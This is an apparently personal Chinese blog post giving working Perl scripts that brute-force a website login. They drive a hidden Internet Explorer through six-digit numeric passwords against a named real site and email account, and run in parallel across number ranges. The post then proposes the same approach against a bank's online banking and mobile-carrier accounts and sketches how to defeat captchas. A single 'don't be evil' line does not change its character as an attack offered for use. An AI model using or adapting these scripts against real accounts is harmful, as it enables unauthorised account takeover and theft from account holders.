Perl穷举破解表单密码的实现

Perl穷举破解表单密码的实现
  Perl是一个异常强大的网络处理工具,而且它的库是相当的多与全面。老同学的网站密码丢了,让我找找看,我就琢磨琢磨学习了一下Perl。
  如果是普通的表单,只需要用Perl自带的LWP库就可以了,但是有些网站会首先检测你的浏览器是否支持Cookies,是否是“真实的”浏览器而不是机器人代理,更有甚者首先检测你的浏览器是否支持脚本,如果不支持脚本是根本不让你浏览任何信息的。这个时候LWP就没有什么用了。
  于是乎我想到了COM,调用Internet Explorer的接口。先用C++实现了一个,速度虽然是快,可是如何获取Document进行网站的反馈判定却成了难题,其中牵涉到一个等待同步的问题,总是出错,一气之下就废了它。去CPAN下载了一个叫做Win32::IEAutomation的库,省得手动初始化COM对象,还要查CSLID等等。guesser脚本很是简单,如下。
use  Win32 :: IEAutomation;

my   $low   =   @ARGV [ 0 ];
my   $up   =   @ARGV [ 1 ];

if  (  $low   >   $up  ){
    
print   " UP LOW ERROR! " ;
    
exit   1 ;
};

my   $ie   =  Win32 :: IEAutomation -> new( visible  =>   0  );
$ie -> gotoURL( ' http://xiaonei.com/Login.do ' );
my   $user   =   " papyna\@126.com " ;
my   $time   =   time ;

while $low   <=   $up  ){
    
my   $pwdstr   =   "" ;
    
$pwdstr   =    sprintf   " \%.6u " , $low ;
    
$ie -> getTextBox( ' id: ' , " email " ) -> SetValue( $user );
    
$ie -> getTextBox( ' id: ' , " password " ) -> SetValue( $pwdstr );
    
$ie -> getButton( ' id: ' , " login " ) -> Click;
    
$ie -> WaitforDone;
    
if $ie -> VerifyText( ' 密码错误 ' ) ){
    }
else {
        
$time   =   time   -   $time ;
        
print   " Password Is :  " , $pwdstr , " \n " ;
        
print   $time , "  Seconds Passed " ;
        
exit   0 ;
    };
    
$low ++ ;
}
print   " Not In this range From  " , $low , "  To  " , $up , " \n " ;
exit   0 ;

  原理很简单,输入一个数字范围,然后一直调用网站的登陆脚本,直到正确的登陆。其实这也牵涉到一个字典的问题,这个就是穷举破解的最大麻烦。不过思想是可以值得借鉴的。速度瓶颈在网络上,机器代码执行得飞快,等待页面反馈太慢。为了,加速,我想到了多线程。通过这个脚本,同时执行多个上述脚本的实例。代码也很简单。
use  Win32 :: Process;
use  Win32;

sub  ErrorReport{
    
print  Win32 :: FormatMessage( Win32 :: GetLastError() );
}

Win32
:: Process :: Create( $ProcessObj1 ,
                                
" C:\\Perl\\bin\\perl.exe " ,
                                
" perl guesser.pl 870100 870133 " ,
                                
0 ,
                                NORMAL_PRIORITY_CLASS
,
                                
" . " ) ||   die  ErrorReport();

Win32
:: Process :: Create( $ProcessObj2 ,
                                
" C:\\Perl\\bin\\perl.exe " ,
                                
" perl guesser.pl 861095 861231 " ,
                                
0 ,
                                NORMAL_PRIORITY_CLASS
,
                                
" . " ) ||   die  ErrorReport();

$ProcessObj1 -> Wait (INFINITE);
$ProcessObj2 -> Wait (INFINITE);

  然后就是漫长的等待了,甚至可以听到浏览器的声音,速度缓慢的真是痛苦。不过,破解招商银行网上银行大众版 —— HTTPS连接与加密插件,IE都是内置,只要先安装好,就可以传入URL进行穷举了。不过有个问题就是,验证码。对于这个我还没有实现,不过思路很简单,手动写一个读写图像文件,判断数字的函数,图片可以从IE缓存获得。破解移动联通手机号码密码也可以顺着这个思路来。

  末了提醒大家,就用Google的原则,“不要做恶”。

你可能感兴趣的:(Perl穷举破解表单密码的实现)